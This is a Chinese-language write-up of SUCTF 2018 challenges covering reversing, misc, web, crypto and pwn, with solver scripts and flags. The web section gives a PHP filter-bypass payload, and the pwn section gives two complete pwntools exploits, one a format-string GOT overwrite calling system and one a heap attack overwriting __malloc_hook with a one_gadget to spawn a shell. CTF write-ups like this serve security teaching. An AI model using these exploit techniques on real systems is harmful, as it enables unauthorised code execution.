跳转至

CNSS_SUCTF2018_WRITEUP

Re

unity游戏

解法1

flag_part1:deBase64(V2VMQzBtRQ==)=WeLC0mE

private bool LoadBundle(string filename)
    {
        LuaState luaState = new LuaState();
        AssetBundle assetBundle = AssetBundle.LoadFromMemory(Decrypt.DecryptAssetBundle(new WWW("file://" + Application.streamingAssetsPath + "/bundles/" + filename).text));
        if (assetBundle == null)
        {
            return false;
        }
        TextAsset textAsset = assetBundle.LoadAsset<TextAsset>("bundle_list");
        if (textAsset == null)
        {
            return false;
        }
        //添加这一段,把lua脚本出来
        FileStream fileStream = new FileStream("D:\\123\\" + filename, FileMode.Create);
        byte[] bytes = Encoding.defaultEncoding.GetBytes(textAsset.text);
        fileStream.Write(bytes, 0, bytes.Length);
        fileStream.Close();
WeaponYourself.assetbundle中
{
    name = "Flag",
    ID = "WYS_07",
    type = 8,
    comment = "Hey, look at this one ?!V2VMQzBtRQ==",
    using_times = 1,
    effect = "CannotUse",
    fading_time = 0,
    use_direction = false
}

flag_part2:_70_5uc7F

SetupScene(Int32) : Void

让函数中的GameManager.instance.SPText.enabled = true;一句执行即可出现part2

或者在private void InitGame()中 this.SPText.enabled = false; false->true 也可以

解法2

img目录下两张图片就是flag

Enigma

#include "stdafx.h"
#include <iostream>
using namespace std;

int main() {
    unsigned char arr[] = { 0xA8,0x1C,0xAF,0xD9,0x00,0x6C,0xAC,0x02,0x9B,0x05,0xE3,0x68,0x2F,0xC7,0x78,0x3A,0x02,0xBC,0xBF,0xB9,0x4D,0x1C,0x7D,0x6E,0x31,0x1B,0x9B,0x84,0xD4,0x84,0x00,0x76,0x5A,0x4D,0x06,0x75,0x00,0x00,0x00,0x00,0xDF,0x59,0x37,0x5F,0x00,0x00,0x00,0x00 };
    int keys[] = { 0X2F9BACEF,0x0000000097CDD677,0x000000004BE6EB3B,0x00000000A5F3759D,0x00000000D2F9BACE,0x00000000697CDD67,0x00000000B4BE6EB3,0x000000005A5F3759,0x000000002D2F9BAC };
    for (int i = 0; i <= 8; i++) {
        *(int*)&arr[i * 4] ^= keys[i];
    }
    for (int i = 0; i < sizeof(arr); i++) {
        printf("%02x,",arr[i]);
    }
    system("pause");
    return 1;
}
为了爆破写了shellcode:
.text:00005652D026A84F loc_5652D026A84F:                       ; CODE XREF: main:loc_5652D026A848↑j
.text:00005652D026A84F                                         ; main+150↓j
.text:00005652D026A84F call    check1
.text:00005652D026A854 call    check2
.text:00005652D026A859 nop
.text:00005652D026A85A nop
.text:00005652D026A85B nop
.text:00005652D026A85C nop
.text:00005652D026A85D nop
.text:00005652D026A85E mov     rax, offset s1
.text:00005652D026A868 cmp     byte ptr [rax+23h], 58h ; '58h'对应dst[i]  23h对应i
.text:00005652D026A86C jz      short near ptr unk_5652D026A87E
.text:00005652D026A86E mov     rax, offset unk_5652D19AB6C0
.text:00005652D026A878 add     byte ptr [rax+23h], 1
.text:00005652D026A87C jmp     short loc_5652D026A84F
.text:00005652D026A87C ; ---------------------------------------------------------------------------
.text:00005652D026A87E unk_5652D026A87E db 0FFh
SUCTF{sm4ll_b1ts_c4n_d0_3v3rythin9!}

babyre

魔改后的base64 idapython脚本

import base64
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

base64newchars = ''

for i in xrange(0, 64): 
    base64newchars += chr(Byte(i*16 + 0x04007B3))

encodestr = ''
encodenewstr = ''
for i in xrange(0, 0x20):
    ch = chr(Byte(i*0x18 + 0x040107b))
    print('0x%x' % ord(ch))
    encodestr += base64chars[base64newchars.find(ch)]

print(base64newchars)
print(encodestr)
print(base64.b64decode(encodestr))

simpleformat

每一个dprintf对应一个等式,重复次数为系数,比对的数据为结果,把flag分成18部分作为未知数,解一下getflag

Misc

Sandgame

给了一个.py和py运行后输出的sand.txt。 
flag本体(5到-1)对holes取模完后写sand.txt

Cycle

枚举 key 长度,考虑 key 每一位上的字符,则在密文中有若干个位置与其相关,所以判断这些位置用 key 的这一位解密,若每一位解出来都在可见字符范围内,则将其加入候选项。keylen = 24 时,每一位上都有候选项,观察候选项,可以猜测是四个单词用空格隔开了,用英文字典跑一跑就结束了。 明文里其实是有几个 ascii 超过 127 的字符,所以在界定可见字符范围上卡了好久

import base64
from itertools import product


def valid(num):
    if 0 <= num <= 0x8:
        return 0
    if 0xe <= num <= 0x1f:
        return 0
    return 1


cipher = open('cipher.txt', 'r').read()
cipher = list(base64.b64decode(cipher))
n = len(cipher)
cand = []
for keylen in range(2, 50):
    print("keylen =", keylen)
    cnt = 0
    cand = []
    for i in range(keylen):
        print("  pos #%d:" % i, end=" ")
        poss = False
        alphaset = []
        for c in range(32, 128):
            flag = True
            for loc in range(i, n, keylen):
                if not valid(cipher[loc] ^ c):
                    if keylen == 24 and i == 10 and c == ord('J'):
                        print(keylen, i, c, loc, cipher[loc] ^ c)
                    flag = False
                    break
            if flag:
                print(chr(c), end=" ")
                alphaset.append(c)
                poss = True
        if not poss:
            break
        else:
            cnt += 1
            cand.append(alphaset)
        print()
    if cnt == keylen:
        print("Success!!!")
        print(cand)
        break
    else:
        print("  Failed")

d = {}
... # 读取英文字典放入 d
r = [(0, 9), (10, 14), (15, 19), (20, 24)]
for ran in r:
    print("=" * 20)
    cc = cand[ran[0]: ran[1]]
    for x in product(*cc):
        s = "".join(chr(_) for _ in x)
        if s.lower() in d:
            print(s)

Web

Anonymous

baby^h-master-php-2017中的一个小trick

GET /?func_name=%00lambda_1 HTTP/1.1
Host: web.suctf.asuri.org:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/1285 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

getshell

从第六个字符开始未被过滤的字符有$~()_[]=;.回车

<?php
$_=([]==[]);
$__=$_;
$___=;$____=~($___[$_]);$___=;$____.=~($___[$_]);$___=;$____.=~($___[$_]);$___=;$____.=~($___[$_]);$___=;$____.=~($___[$_]);$___=;$____.=~($___[$_]);
$_____=_;$___=;$_____.=~($___[$_]);$___=;$_____.=~($___[$_]);$___=;$_____.=~($___[$_]);$___=;$_____.=~($___[$_]);
$_=$$_____;
$____($_[$__]);

Crypto

Magic

异或方程组裸题

n = len(magic)
assert n == 256
mat = []
b = [0] * n
for i in range(n):
    mat.append([0] * n)
cipher = int("...", 16)
for i in range(n):
    for j in range(n):
        mat[i][j] = (magic[i] >> (n - j - 1)) & 1
    b[i] = (cipher >> (n - i - 1)) & 1
print(mat)
for i in range(n):
    for j in range(i, n):
        if mat[j][i] == 1:
            mat[i], mat[j] = mat[j], mat[i]
            b[i], b[j] = b[j], b[i]
            break
    for j in range(n):
        if j != i and mat[j][i] == 1:
            for k in range(i, n):
                mat[j][k] ^= mat[i][k]
            b[j] ^= b[i]
choose = 0
for i in range(n):
    choose = (choose << 1) | b[i]
print("choose:", hex(choose))

Pass

Secure Remote Password with Zero Pubkey Attack 裸题 直接发送 A == 0,则服务端 S == 0,所以中间过程都被无视了

Enjoy

AES_CBC Chosen Ciphertext Attack 求 IV 裸题 发送 Cipher = C || C,获得 M = M0 || M1 则 Decrypt_AES( C ) xor C = M1 Decrypt_AES( C ) xor IV = M0 所以有 IV = M0 xor M1 xor C

Rsa

已知 pow(m * r, e, n), n, e, d, r 有 e 和 d 了,直接解密就行了

Rsa good

已知 pow(flag, e, n),可以选择密文解密 发送 pow(flag, e, n) * pow(2, e, n) % n,获得 flag * 2,就结束了

PWN

lock2

#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

# 调试模式 会使用gdb联调
DEBUG = 1

# 啰嗦模式
VERBOSE = 1

# 0 local 1 remote 2 attack
MODE = 1

# 程序名
PROGRAM_NAME = './freenote2018'

# libc
REMOTE_LIBC = False

# 地址
IP = 'pwn.suctf.asuri.org'

PORT = 20001
#IP = '127.0.0.1'
#PORT = 17001

# gdb调试配置 根据机器更改
# context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

context.aslr = True

system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0

# SUCTF{L1yoLTm2MsS39vqUAYudB3d2Nw1CfD9d2nX6qQcDvN7atX1BEN4N}

def set_breakpoint(breakpoint_list, pie=False):
    '''生成设置断点的命令'''
    ret = ''
    offset = 0
    if pie is True:
        if context.aslr is True:
            return ''
        if context.arch == 'amd64': # 64位下gdb关闭aslr后基址为 0x555555554000
            offset = 0x555555554000
        elif context.arch == 'i386': # 32位为0x56555000
            offset = 0x56555000
    for breakpoint in breakpoint_list:
        ret += 'b *%d\n' % (breakpoint + offset)
    return ret

def readData(program, addr):
    if '\n' in p64(addr):
        ret = '\x00'
        log.info('0x%x => "%s" pass' % (addr, repr(ret)))
        return ret
    program.recvuntil('cmd:')
    program.sendline('[%7$s]aa' + p64(addr))
    program.recvuntil('cmd:[')
    ret = program.recvuntil(']')[:-1] + '\x00'
    log.info('0x%x => "%s"' % (addr, repr(ret)))
    return ret



def get_shell(ip='', port=0):
    # 设置断点

    breakpoint = set_breakpoint([0x0004009A5], pie=False)

    breakpoint = ''
    gdbscript = breakpoint + 'c\n'
    if VERBOSE:
        context.log_level = 'debug'

    if REMOTE_LIBC:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

    else:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
        env = {}
        __free_hook_offset = 0x3C67A8

        puts_offset = 0x06F690
        system_offset = 0x00045390
        __malloc_hook = 0x3C4B10
        __free_hook_offset = __malloc_hook
        one_gadget_offset = 0xf1147


    if MODE == 0:
        if DEBUG:
            # debug
            program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
            # 等待输入后继续运行
            raw_input('')
            # gdb.attach(program)
        else:
            # 直接运行程序
            program = process((PROGRAM_NAME, ), env=env)
            sol = ''
        one_gadget_offset = 0xf02a4
        __malloc_hook_offset = 0x03C4B10


    else:
        # 远程
        program = remote(ip, port)

    program.recvuntil('password:')
    program.sendline('123456')
    addr_list = []

    for i in xrange(8):
        program.recvuntil('K  ')
        addr_list.append(int(program.recv(12), 16))
        log.info('0x%x' % addr_list[-1])

    program.recvuntil('cmd:')
    program.sendline('%13$p')
    program.recvuntil('cmd:')
    program_ptr = int(program.recvuntil('\n')[:-1], 16)
    program_base = program_ptr - 0x11bd
    log.info('program_base = 0x%x' % program_base)
    puts_ptr = u64(readData(program, program_base + 0x203018).ljust(8, '\x00'))
    libc_base = puts_ptr - puts_offset
    __free_hook_addr = __free_hook_offset + libc_base
    system_addr = system_offset + libc_base
    log.info('puts_addr=0x%x' % puts_ptr)
    log.info('libc_base=0x%x' % libc_base)
    log.info('__free_hook_addr=0x%x' % __free_hook_addr)
    log.info('system_addr=0x%x' % system_addr)

    tmp_addr = program_base + 0x11E3


    write_addr = program_base+0x203028
    write_addr_list = []
    for i in xrange(8):
        write_addr_list.append([write_addr + i, tmp_addr % 0x100])
        tmp_addr //= 0x100


    log.info(hex(u64(readData(program, write_addr).ljust(8, '\x00'))))

    for i in xrange(6):
        log.info(i)
        if write_addr_list[i][1] == 0:
            write_addr_list[i][1] = 256
        payload = '%%%dc%%8$hhn' % (write_addr_list[i][1], )
        payload = payload.ljust(0x10, 'a') + p64(write_addr_list[i][0])
        program.recvuntil('cmd:')
        program.sendline(payload)

    log.info(hex(u64(readData(program, write_addr).ljust(8, '\x00'))))


    for i in xrange(8):
        if i not in [2, 3, 4, 6, 7]:
            payload = '%%%dc%%7$na' % (i, ) + p64(addr_list[i])
            program.recvuntil('cmd:')
            program.sendline(payload)
    program.sendline('plusls')
    program.recvuntil('tell me what do you want?')
    #program.sendline('a'*0x2A + p64(0) + p64(program_base + 0x1156))
    program.sendline('ls -al\x00'.ljust(0x2a, 'a') + p64(0) + p64(program_base + 0x1253) + p64(libc_base + 0x018CD58 - 14-3027) + p64(libc_base + system_offset)+ p64(program_base + 0x1156))


    '''
    fp = open('dump', 'wb')

    addr = program_base
    while addr < program_base + 0x4000:
        data = readData(program, addr)
        fp.write(data)
        fp.flush()
        addr += len(data)
    fp.close()
    '''
    return program


def main():
    if MODE == 0:  # local
        program = get_shell()
        program.interactive()
    elif MODE == 1:  # remote
        program = get_shell(ip=IP, port=PORT)
        #program = get_shell(ip='127.0.0.1', port=17001)
        program.interactive()


if __name__ == '__main__':
    main()

note

#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

# 调试模式 会使用gdb联调
DEBUG = 1

# 啰嗦模式
VERBOSE = 1

# 0 local 1 remote 2 attack
MODE = 1

# 程序名
PROGRAM_NAME = './note'

# libc
REMOTE_LIBC = True

# 地址
IP = 'pwn.suctf.asuri.org'

PORT = 20003
#IP = '127.0.0.1'
#PORT = 17001

# gdb调试配置 根据机器更改
# context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

# 是否开启 aslr
context.aslr = True

# SUCTF{Me1z1jiu_say_s0rry_LOL}


# 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0

# SUCTF{L1yoLTm2MsS39vqUAYudB3d2Nw1CfD9d2nX6qQcDvN7atX1BEN4N}

def set_breakpoint(breakpoint_list, pie=False):
    '''生成设置断点的命令'''
    ret = ''
    offset = 0
    if pie is True:
        if context.aslr is True:
            return ''
        if context.arch == 'amd64': # 64位下gdb关闭aslr后基址为 0x555555554000
            offset = 0x555555554000
        elif context.arch == 'i386': # 32位为0x56555000
            offset = 0x56555000
    for breakpoint in breakpoint_list:
        ret += 'b *%d\n' % (breakpoint + offset)
    return ret


def add(program, size, s):
    program.recvuntil('Choice>>')
    program.sendline('1')
    program.recvuntil('Size:')
    program.sendline(str(size))
    program.recvuntil('Content:')
    program.sendline(s)
    program.recvuntil('ok!')



def get_shell(ip='', port=0):
    # 设置断点

    breakpoint = set_breakpoint([0x0004009A5], pie=False)

    breakpoint = ''
    gdbscript = breakpoint + 'c\n'
    if VERBOSE:
        context.log_level = 'debug'

    if REMOTE_LIBC:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}
        __malloc_hook_offset = 0x3bfaf0
        libc_ptr_offset = 0x3bfb58  
        one_gadget_offset = 0xf15a1
        one_gadget_offset = 0xf241b

    else:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
        env = {}

        __malloc_hook_offset = 0x3C4B10
        one_gadget_offset = 0xf02a4
        libc_ptr_offset = 0x3c4b78


    if MODE == 0:
        if DEBUG:
            # debug
            program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
            # 等待输入后继续运行
            raw_input('')
            # gdb.attach(program)
        else:
            # 直接运行程序
            program = process((PROGRAM_NAME, ), env=env)
            sol = ''


    else:
        # 远程
        program = remote(ip, port)

    add(program, 0x18, 'a')
    program.recvuntil('Choice>>')
    program.sendline('3')
    program.recvuntil('This is a Pandora box,are you sure to open it?(yes:1)')
    program.sendline(str(1))

    program.recvuntil('Choice>>')
    program.sendline('2')
    program.recvuntil('Index:')
    program.sendline(str(0))
    program.recvuntil('Content:')
    libc_ptr = u64(program.recv(6).ljust(8, '\x00'))
    libc_base = libc_ptr - libc_ptr_offset
    log.info('libc_ptr=0x%x' % libc_ptr)
    log.info('libc_base=0x%x' % libc_base)


    less = 0x20ec0 - 0x20090
    add(program, less - 8, 'a'*(less - 8) + p64(0x91))
    add(program, 0x300, 'a')
    add(program, 0x118, 'a'*0xf68 + p64(0x71) + p64(libc_base + __malloc_hook_offset - 0x23))
    add(program, 0x68, 'a')
    add(program, 0x68, 'a'*0x13 + p64(libc_base + one_gadget_offset))

    program.recvuntil('Choice>>')
    program.sendline('1')
    program.recvuntil('Size:')
    program.sendline(str(10))
    return program

def main():
    if MODE == 0:  # local
        program = get_shell()
        program.interactive()
    elif MODE == 1:  # remote
        program = get_shell(ip=IP, port=PORT)
        #program = get_shell(ip='127.0.0.1', port=17001)
        program.interactive()


if __name__ == '__main__':
    main()